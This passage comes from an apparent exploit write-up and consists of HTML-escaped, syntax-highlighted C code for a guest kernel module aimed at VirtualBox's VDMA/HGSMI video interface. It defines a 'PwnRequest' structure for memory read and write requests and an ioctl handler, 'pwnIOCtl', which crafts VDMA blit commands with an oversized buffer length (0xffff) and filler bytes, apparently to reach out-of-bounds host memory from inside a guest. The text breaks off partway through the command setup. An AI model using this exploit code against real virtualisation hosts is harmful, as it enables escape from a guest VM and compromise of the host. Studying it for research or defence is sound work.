class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-431\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-432\"><span class=\"crayon-r\">typedef<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBOXVDMA_RECTL<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-433\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-434\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">int16_t <\/span><span class=\"crayon-v\">left<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-435\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">int16_t <\/span><span class=\"crayon-v\">top<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-436\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint16_t <\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-437\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint16_t <\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-438\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOXVDMA_RECTL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">PVBOXVDMA_RECTL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-439\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-440\"><span class=\"crayon-r\">typedef<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBOXVDMACMD_DMA_PRESENT_BLT<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-441\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-442\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVIDEOOFFSET <\/span><span class=\"crayon-v\">offSrc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-443\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVIDEOOFFSET <\/span><span class=\"crayon-v\">offDst<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-444\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVDMA_SURF_DESC <\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-445\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVDMA_SURF_DESC <\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-446\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVDMA_RECTL <\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-447\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVDMA_RECTL <\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-448\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">u32Reserved<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-449\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cDstSubRects<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-450\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVDMA_RECTL <\/span><span class=\"crayon-v\">aDstSubRects<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-451\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOXVDMACMD_DMA_PRESENT_BLT<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">PVBOXVDMACMD_DMA_PRESENT_BLT<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-452\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-453\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-454\"><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-455\"><span class=\"crayon-t\">char<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">g_vram<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-456\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-457\"><span class=\"crayon-r\">typedef<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PwnRequest<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-458\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">type<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/ 1\/4 == read, 2\/5 == write, 3 == custom VBVA command,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-459\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/ 6 == get VRAM size<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-460\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-461\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint64_t <\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-462\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-463\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PwnRequest<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-464\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-465\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">long<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">pwnIOCtl<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">file *<\/span><span class=\"crayon-v\">pFilp<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">unsigned<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">uCmd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">unsigned<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">long<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ulArg<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-466\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Handling ioctl()n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-467\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">uCmd<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-468\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PwnRequest*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PwnRequest*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">ulArg<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-469\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-470\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-471\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Request buffer too small (is=%d)n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-472\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">EINVAL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-473\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-474\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-475\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">type<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-476\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-477\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Preparing VMDA command for reading %u bytes (offset=%lu).n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-478\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-479\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-480\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">32<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-481\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACBUF_DR<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-482\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACMD<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-483\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACMD_DMA_PRESENT_BLT<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-484\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-485\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-e\">VBoxHGSMIBufferAlloc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-486\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-487\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">HGSMI_CH_VBVA<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-488\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-cn\">11<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/*VBVA_VDMA_CMD*\/<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-489\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-490\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Failed to allocate HGSMI memoryn&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-491\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">ENOMEM<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-492\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-493\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-494\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">memset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x41<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-495\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-496\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PVBOXVDMACBUF_DR <\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PVBOXVDMACBUF_DR<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">32<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-497\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-c\">\/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*\/<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-498\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">cbBuf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xffff<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-499\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-500\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PVBOXVDMACMD <\/span><span class=\"crayon-v\">pDmaCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PVBOXVDMACMD<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACBUF_DR<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-501\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pDmaCmd<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">enmType<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT *\/<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-502\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-503\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PVBOXVDMACMD_DMA_PRESENT_BLT <\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PVBOXVDMACMD_DMA_PRESENT_BLT<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">pDmaCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACMD<\/span><span 